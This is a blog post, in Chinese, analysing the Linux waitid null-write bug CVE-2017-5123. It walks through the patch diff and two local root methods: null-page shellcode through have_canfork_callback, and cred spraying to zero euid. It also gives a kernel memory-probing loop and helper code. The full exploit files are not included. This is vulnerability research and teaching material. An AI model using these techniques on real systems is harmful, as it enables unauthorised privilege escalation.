【kernel exploit】CVE-2017-5123 null任意地址写漏洞
影响版本:小于Linux v4.14-rc5。Linux v4.14-rc5 和 Linux v4.14.1已修补,Linux v4.14-rc4未修补。
测试版本:Linux v4.14-rc4 测试环境下载地址
编译选项: CONFIG_SLAB=y
General setup
—> Choose SLAB allocator (SLUB (Unqueued Allocator))
—> SLAB
在编译时将.config
中的CONFIG_E1000
和CONFIG_E1000E
,变更为=y。参考
$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-4.14-rc4.tar.xz
$ tar -xvf linux-4.14-rc4.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。
漏洞描述:/kernel/exit.c
中的waitid
的实现,在调用unsafe_put_user()
将内核数据拷贝到用户空间地址时,没有调用access_ok()
检测用户空间地址的合法性,导致实际可以往内核空间地址拷贝数据。 waitid未检测用户地址合法性 导致 null 任意地址写。
diff --git a/kernel/exit.c b/kernel/exit.c
index f2cd53e92147c..cf28528842bcf 100644
--- a/kernel/exit.c
+++ b/kernel/exit.c
@@ -1610,6 +1610,9 @@ SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
if (!infop)
return err;
+ if (!access_ok(VERIFY_WRITE, infop, sizeof(*infop)))
+ goto Efault;
+
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
@@ -1735,6 +1738,9 @@ COMPAT_SYSCALL_DEFINE5(waitid,
if (!infop)
return err;
+ if (!access_ok(VERIFY_WRITE, infop, sizeof(*infop)))
+ goto Efault;
+
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
保护机制:开启SMEP / SMAP,未开启KASLR。
利用总结:
- 方法一:通过覆盖
fork()
函数中的have_canfork_callback
变量,构造空指针引用,执行0地址处预先布置的shellcode提权。缺点是需修改mmap_min_addr
,并关闭SMEP防护。 - 方法二:通过猜测cred地址的范围,覆写uid提权,缺点是成功率不高。可开启SMEP/SMAP防护。
想法:能否利用这种null写 等限制很严的 漏洞,在内核中覆盖一个自旋锁,用来创建竞争条件。创造竞争漏洞?
一、漏洞介绍
漏洞源码:waitid() 未调用 access_ok()
来检查地址是否属于用户空间,就调用unsafe_put_user()
向用户空间拷贝数据,我们可以写1个空字节到任意地址。 struct siginfo __user *infop
由用户提供,所以用户可以使用infop
来指定内核地址,如果能将空字节写入cred.uid
,就能提权。
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0};
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
int signo = 0;
if (err > 0) {
signo = SIGCHLD;
err = 0;
if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
return -EFAULT;
}
if (!infop)
return err;
user_access_begin(); // 实际调用 stac(), 暂时关闭SMAP(本质是设置 EFLAGS.AC, 便于对用户数据进行读写)
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault); // !!!!! 漏洞点: 写一个空字节到一个可控的任意地址。
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end(); // 实际调用 clac(). 重新开启SMAP
return err;
Efault:
user_access_end();
return -EFAULT;
}
#define unsafe_put_user(x, ptr, err_label) \
do { \
int __pu_err; \
__typeof__(*(ptr)) __pu_val = (x); \
__put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT); \
if (unlikely(__pu_err)) goto err_label; \
} while (0)
// access_ok(): 检查地址是否属于用户空间。
/*
1.user_addr_max() 获得了 current->thread.addr_limit.seg 作为用户态地址的边界。
2.__chk_user_ptr 检查我们的参数 addr 是否是指向用户态的
3.__range_not_ok 检查 addr + size 和 limit 的大小关系,即addr + size 是否也指向用户态
*/
#define access_ok(type, addr, size) \
({ \
WARN_ON_IN_IRQ(); \
likely(!__range_not_ok(addr, size, user_addr_max())); \
})
二、漏洞利用
利用思路:
- 1.堆喷:大量的进行
fork()
创建进程,每个进程都会对应一个cred结构体,然后任意写某一个进程cred的uid,之后getuid()
检测是否有哪一个进程的uid被清零(提权)。 - 2.ret2dir:首先找到用户区域和内核区域对应的physmap的地址,在physmap中写payload,然后找到内核对应的physmap的虚拟地址,最后把内核态的执行流劫持到内核对应的physmap地址上。
- 3.通过爆破
struct file
的地址,然后找到file结构体中指向当前的cred结构体的指针,接下来直接任意写当前的cred结构体。 - 4.利用覆写have_canfork_callback触发空指针引用fork()提权。0地址shellcode配合空指针引用提权。
- 5.在内核数据段找到一个对象,其索引/大小/值为零将导致超出内存访问边界;
- 6.在内核中覆盖一个自旋锁,用来创建竞争条件;(这个思路很新颖)
- 7.尝试覆盖内核堆栈上的基址指针或其他值;
- 8.触发可能导致在内核堆栈上创建有用结构的操作,看看是否可以用任意写入的0命中对象。
1. 方法一:执行shellcode
局限:需要修改mmap_min_addr
,且无法绕过SMEP防护,实测时发现SMAP也得关闭。
代码分析:
对于如下调用流:fork() -> _do_fork() -> copy_process() (1832L) -> cgroup_can_fork() -> do_each_subsys_mask()
// (1) copy_process() —— 为子进程复制一份进程信息
fork()
_do_fork()
copy_process()
/*
* Ensure that the cgroup subsystem policies allow the new process to be
* forked. It should be noted the the new process's css_set can be changed
* between here and cgroup_post_fork() if an organisation operation is in
* progress.
*/
retval = cgroup_can_fork(p); //判断cgroup是否允许新的进程被fork?
// (2) cgroup_can_fork()
int cgroup_can_fork(struct task_struct *child)
{
struct cgroup_subsys *ss;
int i, j, ret;
do_each_subsys_mask(ss, i, have_canfork_callback) { // <-----------
ret = ss->can_fork(child); // !!!!!!!!!!!!
if (ret)
goto out_revert;
} while_each_subsys_mask();
......
}
// (3) do_each_subsys_mask() —— 这里 ss_mask 就是 have_canfork_callback 。ss 是未初始化的 struct cgroup_subsys 指针。CGROUP_SUBSYS_COUNT 为0
#define do_each_subsys_mask(ss, ssid, ss_mask) do { \
unsigned long __ss_mask = (ss_mask); \
if (!CGROUP_SUBSYS_COUNT) { /* to avoid spurious gcc warning */ \
(ssid) = 0; \
break; \
} \
for_each_set_bit(ssid, &__ss_mask, CGROUP_SUBSYS_COUNT) { \ // <------------
(ss) = cgroup_subsys[ssid]; \
{
#define while_each_subsys_mask() \
} \
} \
} while (false)
// (4) for_each_set_bit() —— 在范围内,查找所有的被置位的bit。返回的是位图 have_canfork_callback 中小于 CGROUP_SUBSYS_COUNT 的最后一个被置位的bit的位置(在上层函数中就是ssid)。 然后将其作为数组下标,获取 cgroup_subsys[ssid] 处的值赋给 ss。
// find_first_bit 在位图中查找第一个为1的bit位; find_next_bit 在查找范围内,从bit+1开始,接着找第一个为1的bit位;
#define for_each_set_bit(bit, addr, size) \
for ((bit) = find_first_bit((addr), (size)); \
(bit) < (size); \
(bit) = find_next_bit((addr), (size), (bit) + 1))
最后在cgroup_can_fork()会调用 ret = ss->can_fork(child)
。cgroup_subsys
是一个虚函数表。
struct cgroup_subsys {
struct cgroup_subsys_state *(*css_alloc)(struct cgroup_subsys_state *parent_css);
int (*css_online)(struct cgroup_subsys_state *css);
void (*css_offline)(struct cgroup_subsys_state *css);
void (*css_released)(struct cgroup_subsys_state *css);
void (*css_free)(struct cgroup_subsys_state *css);
void (*css_reset)(struct cgroup_subsys_state *css);
int (*can_attach)(struct cgroup_taskset *tset);
void (*cancel_attach)(struct cgroup_taskset *tset);
void (*attach)(struct cgroup_taskset *tset);
void (*post_attach)(void);
int (*can_fork)(struct task_struct *task); // can_fork() 偏移0x50
void (*cancel_fork)(struct task_struct *task);
void (*fork)(struct task_struct *task);
void (*exit)(struct task_struct *task);
void (*free)(struct task_struct *task);
void (*bind)(struct cgroup_subsys_state *root_css);
......
找到 have_canfork_callback
位图中小于CGROUP_SUBSYS_COUNT
的、最后一个被置位的bit位(即ssid),且ssid要小于等于CGROUP_SUBSYS_COUNT
(调试时发现其值为0xb),然后返回ss=cgroup_subsys[ssid]
,跳转到 ss->can_fork
。cgroup_subsys初始化点 所以只有ssid<=0xb
才会调用ss->can_fork
,ssid>0xb
程序会直接返回。
方法:本漏洞能够进行任意内存写,将第一个int写为0x11,第二个int写为0。如果我们将have_canfork_callback
的第一个字节改为0x11,for_each_set_bit()
返回0,就会返回一个空的cgroup_subsys
表,cgroup_subsys->can_fork
也为NULL。最后调用执行0地址处的代码,在0地址上放置shellcode,就能在0地址上执行shellcode。
利用步骤:
- (1)0地址处放置shellcode,也即
jmp 0x8
, 跳转到get_root()
; - (2)waitid触发漏洞,修改
*have_canfork_callback
的第1字节为 0x11; - (3)调用 fork, 会调用未初始化的
cgroup_subsys->can_fork
, 执行0地址处的代码。
问题:由于内核从2.6.22版本开始,可以使用sysctl设置mmap_min_addr
来防止用户层映射0地址。从Ubuntu 9.04开始,mmap_min_addr
设置被内置到内核中(x86为64k,ARM为32k)。只有root用户才能做0地址映射(mmap()
-> do_mmap()
-> get_unmmapped_area()
-> cap_capable()
会检查进程的权限)。需在内核启动脚本中调用$ sysctl -w vm.mmap_min_addr=0
关闭该保护。
测试截图:exp程序见exp_null_ptr.c
。感觉利用成功了,但只要执行命令就会报错BUG: unable to handle kernel NULL pointer dereference
。和 这里 的问题一样,原因不明。
2. 方法二 :null任意写覆盖cred提权
局限:需要猜测cred地址的范围,实际上有不确定性。
内存探测:waitid()
在非法内存访问时不会崩溃,而是返回错误代码,初衷是为了避免DoS攻击。基于此,也可以进行内存的爆破or探测。(-EFAULT)
// 内存探测,检查内核哪些地址是有效的
for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
pid = fork();
if (pid > 0)
{
if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0)
{
printf("[+] Found %p\n", i);
break;
}
}
else if (pid == 0)
exit(0);
}
利用步骤:
- (1)使用
clone()
函数创建多个轻量级process,那么内核中会存在许多的cred结构体。 - (2)这些进程不断调用
geteuid()
,如果返回0,则表示该进程成功提权。 - (3)父进程调用
waitid()
触发漏洞,对猜测的cred范围覆盖为null。
clone()
介绍:linux的Clone()函数详解
int clone(int (*func)(void*),void *child_stack,int flags,void *func_arg,....);
- 类似于
fork()
和vfork()
,Linux特有的系统调用clone()
也能创建一个新线程。与前两者不同的是,后者在进程创建期间对步骤的控制更为准确。 func
参数——与fork()
不同的是,克隆生成的子进程继续运行时不以调用处为起点,转而去调用以参数func所指定的函数,func又称为子函数,子函数的参数由func_arg
指定。当函数func返回或者是调用exit()(或者_exit())之后,克隆产生的子进程就会终止。父进程可以通过wait()一类函数来等待克隆子进程。child_stack
参数——因为克隆产生的子进程可能共享父进程内存,所以它不能使用父进程的栈。相反,调用者必须分配一块大小适中的内存空间供子进程的栈使用,同时将这块内存的指针置于参数child_stack中。flags
参数:其低字节中存放着子进程的终止信号,子进程退出时其父进程将收到这一信号。表示掩码的组合,例如,CLONE_VM
——子进程与父进程运行于相同的内存空间;CLONE_FILES
——子进程与父进程共享相同的文件描述符(file descriptor)表。
euid介绍:uid代表进程的创建者(属于哪个用户创建);euid表示进程对于文件和资源的访问权限(等同于哪个用户的权限)。exp在劫持了euid之后调用setuid(0)
,因为如果原来的euid==0,则该函数将会设置所有的id都等于新的id,否则,只设置euid。参考 所以说,只需要覆盖euid,然后调用setuid(0)
即可?
cred地址范围:观察每个进程中,cred结构体euid的地址。采用如下驱动来打印cred->euid
的地址,通过程序中不断open('proc/jif')
,然后$ dmesg | grep EUID\:
查看打印结果。
// jif 驱动: 打印 cred->euid 地址
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h> // for basic filesystem
#include <linux/proc_fs.h> // for the proc filesystem
#include <linux/seq_file.h> // for sequence files
static struct proc_dir_entry* jif_file;
static int
jif_show(struct seq_file *m, void *v)
{
return 0;
}
static int
jif_open(struct inode *inode, struct file *file)
{
printk("EUID: %p\n", ¤t->cred->euid);
return single_open(file, jif_show, NULL);
}
static const struct file_operations jif_fops = {
.owner = THIS_MODULE,
.open = jif_open,
.read = seq_read,
.llseek = seq_lseek,
.release = single_release,
};
static int __init
jif_init(void)
{
jif_file = proc_create("jif", 0, NULL, &jif_fops);
if (!jif_file) {
return -ENOMEM;
}
return 0;
}
static void __exit
jif_exit(void)
{
remove_proc_entry("jif", NULL);
}
module_init(jif_init);
module_exit(jif_exit);
MODULE_LICENSE("GPL");
// test.c
// 问题:本程序和实际的exp中输出的euid地址范围不同,还是以实际的exp为准
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <errno.h>
#include <asm/unistd_64.h>
#define STACK_SIZE 4096
int spray()
{
int fd = open("/proc/jif", O_RDWR);
close(fd);
}
int main()
{
int i, fd, ret;
pid_t pid;
for (i=0; i<50; i++)
{
void *stack=malloc(STACK_SIZE);
pid = clone(spray,stack,CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SYSVSEM | SIGCHLD,NULL);
sleep(0.1);
}
return 0;
}
测试截图:exp程序见exp_cred.c
。感觉利用成功率不高。
参考
[原创]CVE-2017-5123 waitid本地提权分析 ——利用1:修改fork()
中have_canfork_callback
中首字节,执行0地址处的shellcode
Exploiting CVE-2017-5123 —— 利用2:通过覆盖cred,可以绕过KASLR
CVE-2017-5123 waitid分析 利用代码 —— 利用3:关闭SELinux
Exploiting CVE-2017-5123 with full protections. SMEP, SMAP, and the Chrome Sandbox! exp —— 利用4:可以绕过chrome沙箱
CVE-2017-5123 漏洞利用全攻略 —— 各种利用思路
Linux Kernel 4.14.0-rc4+ - ‘waitid()’ Local Privilege Escalation
文档信息
- 本文作者:bsauce
- 本文链接:https://bsauce.github.io/2021/05/31/CVE-2017-5123/
- 版权声明:自由转载-非商用-非衍生-保持署名(创意共享3.0许可证)